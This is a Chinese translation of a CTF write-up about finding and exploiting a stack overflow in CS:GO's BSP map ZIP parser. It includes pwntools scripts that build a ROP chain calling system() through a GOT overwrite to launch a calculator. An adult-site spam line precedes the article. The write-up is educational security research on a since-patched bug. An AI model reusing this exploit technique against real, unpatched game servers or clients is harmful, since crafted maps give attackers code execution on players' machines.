压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

從CTF題目中發現的CS:GO RCE 0day漏洞

前言

P90_Rush_B這道題來自Real World CTF 資格賽 2018,我們以perfect blue的隊伍名參加了這次比賽。

@j0nathanj@VoidMercy_pb.解出了這道題目。

不幸的是,我們沒有在比賽期間解出這道題目,但我們在接下來的兩天內再接再厲,最后成功的exploit!:)

我們的解法包含一個0 day,前幾天也剛剛被Eat Sleep Pwn Repeat隊伍的@_niklasb大佬發現,且在最新的更新中已被修復。

我們決定盡可能詳細的編寫這篇文章,以展示我們全部的工作過程,包括從發現bug,到成功exploit,以及我們所遇到的一些問題。

The Challenge

題目的描述 / 自述文件表明我們必須通過某種方式利用CS:GO處理地圖的機制以實現代碼執行。

觀察

在閱讀了自述文件和挑戰描述之后,我們立即想到了一個最近報告給HackerOne的 CS:GO漏洞。

這個漏洞是這道題目的捷徑。它正是我們需要的那一類漏洞——一個BSP (地圖) 解析器的漏洞!

不巧的是,在第一份報告之后,Valve已經修復了這個漏洞(還是說?哼哼……),我們決定以這個漏洞為基礎,并在這個已修復漏洞的附近尋找新的漏洞。

解決這道題很重要的一點是要了解我們正在對付一個什么樣的結構體/類,我們借助這個頁面以及部分2007年的被泄露的Source Engine的源碼來推斷出其結構體。

與此漏洞相關的結構體是Zip_FileHeaderZIP_EndOfCentralDirRecord。貼上附件structs.c,里面包括了它們的完整的定義。

struct ZIP_FileHeader
{

  unsigned int  signature; //  4 bytes PK12 
  ...
  ...
  unsigned short  fileNameLength; // file name length 2 bytes 
  ...
  ...
  // The filename comes right after! (variable size) 
};
struct ZIP_EndOfCentralDirRecord
{

  unsigned int  signature; // 4 bytes PK56
  ...
  ...
  unsigned short  nCentralDirectoryEntries_Total; // 2 bytes - A.K.A numFilesInZip
  ...
  ...

};

“被修復”的bug

正如發現者所報告的那樣,舊的bug就在這個函數中CZipPackFile::Prepare

t01bd869c96d375ed8d

(此圖片來自于最初的bug發現者)

在上圖中,函數Get()調用memcpy()并將文件名(嵌入在地圖文件本身中)復制到變量tmpString中。
這個地方沒有邊界檢查,因為zipFileHeader.fileNameLengthfilename是嵌入在BSP文件本身的,所以會導致一個經典的基于棧的緩沖區溢出。

我們嘗試運行由bug發現者提供的PoC地圖,但由于斷言機制崩潰了。

尋找新bug——“源代碼”回顧

在閱讀完2007年的這份被泄露的Source Engine源碼后,我們知道每個BSP都會包含有一些ZIP文件,包含其文件名以及文件名長度。

還有一個EndOfCentralDirectoryZIP文件,表明我們已到達BSP文件的末尾(稍后會用到)。

普通ZIP文件具有簽名PK12EndOfCentralDirectoryZIP具有簽名PK56

因為據說原來的漏洞已經被Valve修復,我們錯誤地認為補丁只是對Get()的邊界檢查,我們依賴于這一份來自2007年的泄露源碼——我們都沒有使用平常的工具,我們也沒有IDA或者其他的反編譯器,所以我們決定使用這份泄露的源碼。

稍微閱讀了源代碼后,我們注意到另一個調用Get()函數的地方,并且使用的是另一個filename!

這段看似有bug的代碼也與前一代碼在相同的函數里CZipPackFile::Prepare

bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
    ZIP_FileHeader zipFileHeader;
    char filename[MAX_PATH];
    // Check for a preload section, expected to be the first file in the zip
    zipDirBuff.GetObjects( &zipFileHeader );
    zipDirBuff.Get( filename, zipFileHeader.fileNameLength );
    filename[zipFileHeader.fileNameLength] = '';
...
...
}

如注釋中所示(注釋存在于實際泄漏的文件中),Get()函數此時復制ZIP中的“第一個文件”。

我們試圖破壞ZIP中的第一個文件名,也試圖破壞文件大小,但沒有任何結果,我們在這浪費了相當多的時間。

找到bug——逆向工程

當我們回到家,用回自己實際的生產環境,我們決定嘗試對這個本應被Valve針對報告進行修復的函數進行逆向。

為了找出錯誤的代碼到底在哪個模塊,我們決定調試由于斷言而崩潰的PoC。最終我們發現它在dedicated.so里。

為了在IDA中找到這個“老舊的”易受攻擊的函數,我們打開了dedicated.so
在相同的函數中搜索以警告信息出現在泄露代碼中的字符串。

在逆向完新的“已修復的”函數后,我們注意到有許多與泄露代碼相同的地方。但當我們找到我們認為易受攻擊的代碼片段(我們找到的get()函數)的時候,我們注意到zipFileHeader.fileNameLength有邊界檢查:

這時候,我們知道我們認為的漏洞實際上已經修復了。所以,我們繼續逆向,并找到了報告為bug的代碼片段。

多虧了我們的變量重命名,我們立刻發現有些東西行不通。

如在第一個代碼片段(稱為“已修復片段”)中所見,當fileNameLength <= 258時,或者是fileNameLength < max_fileNameLength時,max_fileNameLength被更新為fileNameLength(從BSP中提取)。

在第一次Get()調用中,修復程序可防止溢出。但是,如果仔細觀察,第二次調用Get()始終以fileNameLength用作長度——即使fileNameLength> max_fileNameLength

變量tmpString的長度是260字節,所以如果我們可以讓第二次Get()在調用memcpy()時超過260字節——那么我們可以觸發基于棧的緩沖區溢出!

Bypass所有檢查

所以,現在我們已經發現了漏洞,我們必須觸發它以確認它是否真的存在!

我們花了相當多的時間試圖觸發漏洞 – 我們將BSP中的第二個ZIP文件(我們使用標頭PK12識別它的位置)中的 fileNameLength更改為更大的東西,并且還將fileName變得更大,但我們注意到一些矛盾點。

我們注意到在超過一定大小之后,該函數在開始時就會失敗,它在BSP上有一些驗證檢查。

Prepare()的開頭,有以下函數:

bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
...
  // Find and read the central header directory from its expected position at end of the file
  bool bCentralDirRecord = false;
  int64 offset = fileLen - sizeof( ZIP_EndOfCentralDirRecord );

  // scan entire file from expected location for central dir
  for ( ; offset >= 0; offset-- )
  {
    ReadFromPack( -1, (void*)&rec, -1, sizeof( rec ), offset );
    m_swap.SwapFieldsToTargetEndian( &rec );
    if ( rec.signature == PKID( 5, 6 ) )
    {
      bCentralDirRecord = true;
      break;
    }
  }


  Assert( bCentralDirRecord );
  if ( !bCentralDirRecord )
  {
    // no zip directory, bad zip
    return false;
  }

看起來很混亂?其實并不!

實際上這個函數只是在進行一個從fileLensizeof(ZIP_EndOfCentralDirOrder)的迭代,然后再回到文件開頭,搜尋與ZIP_EndOfCentralDirOrder頭部相匹配的4個字節(也就是PK56的值)

經過一些調試之后,我們注意到了無論我們把文件擴充到多大,fileLen卻始終不會變!這意味著它是以某種方式靜態保存的!

為了驗證我們的理論,我們在HxD里搜索文件長度,也確實找到了它!:)

為了繞過上面的循環,我們必須賦予fileLen一個更大的值,因為ZIP_EndOfCentralDirOrder是文件中的最后一個結構體,如果fileLen過小,fileLensizeof(ZIP_EndOf_CentralDirRecord)的迭代會在PK56頭之前開始,之后會一路回到文件的開頭——我們也就沒辦法bypass檢查了!

所以為了實現bypass,我們增大了fileLen并在文件末尾使用0填充,這樣我們就總能保證繞過這個檢查了!

(我們可以單純的偽造PK56頭,但我們想知道導致驗證失敗的根本原因是什么)

觸發漏洞 – 0x41414141 in ?? ()

現在我們已經通過了PK56頭驗證,我們可以嘗試用tmpString大字符串來造成溢出!

一開始,我們試圖填充許多的A來控制EIP,但我們注意到棧里有許多元數據仍然在被函數使用……并把它們覆蓋掉了。我們還注意到棧里的元數據是這樣訪問的(這是二進制文件中的一個實際示例):

(注意,對棧地址的訪問有時也用在指令的目的地址)

所以我們決定用0覆蓋掉除了返回地址意外的所有東西,這樣我們就不會因為寫入/讀取無效地址而崩潰!

但事實證明,即使溢出0也是不夠的,程序仍然會崩潰:( …

這一次,我們注意到在Get()函數溢出之后,即使我們用0覆蓋數據,我們也會崩潰,因為這個函數在循環中,遍歷ZIP文件夾中的所有文件。

還記得我們指出的那個必要的結構體嗎?事實證明,ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total存放著zip中的文件數量!看泄露的源碼就知道了:

...
int numFilesInZip = rec.nCentralDirectoryEntries_Total;

for ( int i = firstFileIdx; i < numFilesInZip; ++i )
{
  ...
  // The Get() call is inside this loop.
  ...
}

ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total改成2,獲得第二個ZIP以實現溢出,會立即退出循環并導致函數結束,也就是說:我們可以控制EIP了!

建立ROP鏈

主二進制文件(srcds)是一個32位應用程序,它是在沒有PIE、沒有棧cookie的情況下編譯的,并且沒有啟用Full Relro。

根據這些情況,我們建立了一條任意添加的ROP鏈,并把system的偏移量添加到putsGOT的條目中,然后調用puts("/usr/bin/gnome-calculator"),最后成功彈出了計算器 ??

下面的代碼生成了一個ROP鏈的payload,我們可以在返回地址的偏移量中插入以調用system("/usr/bin/gnome-calculator")

from pwn import *

add_what_where = 0x080488fe   # add dword ptr [eax + 0x5b], ebx ; pop ebp ; ret
pop_eax_ebx_ebp = 0x080488ff  # pop eax ; pop ebx ; pop ebp ; ret

putsgot = 0x8049CF8
putsoffset = 0x5fca0
systemoffset = 0x3ada0
putsplt = 0x080485E0

bss = 0x8049d68

command = "/usr/bin/gnome-calculator"

rop = []

for i in range(0, len(command), 4):
  current = int(command[i:][:4][::-1].encode("hex"), 16)
  rop += [pop_eax_ebx_ebp, bss + i - 0x5b, current, bss, add_what_where, bss]

rop += [pop_eax_ebx_ebp, putsgot - 0x5b, 0x100000000 - (putsoffset - systemoffset), bss, add_what_where, bss]
rop += [putsplt, bss, bss, bss]

payload = ""
for i in rop:
  payload += p32(i)


with open('rop', 'wb') as f:
  f.write(payload)

print '[+] Generated ROP.n'

完成 exploit

為了完成exploit,我們需要使用許多0來覆蓋整個緩沖區直到返回地址為止,然后插入我們的ROP鏈payload!

from pwn import *

rop = ''

with open('rop', 'r') as f:
  rop = f.read()

payload  = p8(0) * 0x1c0 
payload += rop

with open('payload', 'w') as f:
  f.write(payload)

print '[+] Full payload generated.n'

插入我們的payload后,手動修改fileLenfileNameLength,就可以執行代碼了!最終的bsp在這

(圖片不動請點我

結論和經驗

  • 我們從這個挑戰中吸取了一些教訓,我們覺得最主要的是不應該依賴于舊的/泄漏的代碼。我們本可以通過在IDA中打開二進制文件來節省大量時間,但即時當我們意識到應該這么做時,也沒有立即動手。
  • 有些人可能已經注意到了,對于沒注意到的人,我跟你們港:Valve的第一個“補丁”實際上沒有修復報告中提到的的漏洞!它確實修復了第一次出現的Get()調用,但沒有修復第二次調用 – 報告說的實際就是這個!

這讓我們學到了另一個重要的經驗——永遠不要相信“修復補丁”。總是去驗證它實際上是否修復了bug!

我們在完成這一挑戰時獲得了很多樂趣,并且CTF挑戰中找到了0 day!

期待Real World CTF 總決賽 – 2018!

原文地址:https://blog.perfect.blue/P90_Rush_B

上一篇:肚腦蟲組織(APT-C-35)移動端攻擊活動揭露

下一篇:GeekPwn全球首創CAAD CTF 在DEF CON上演“矛盾”之戰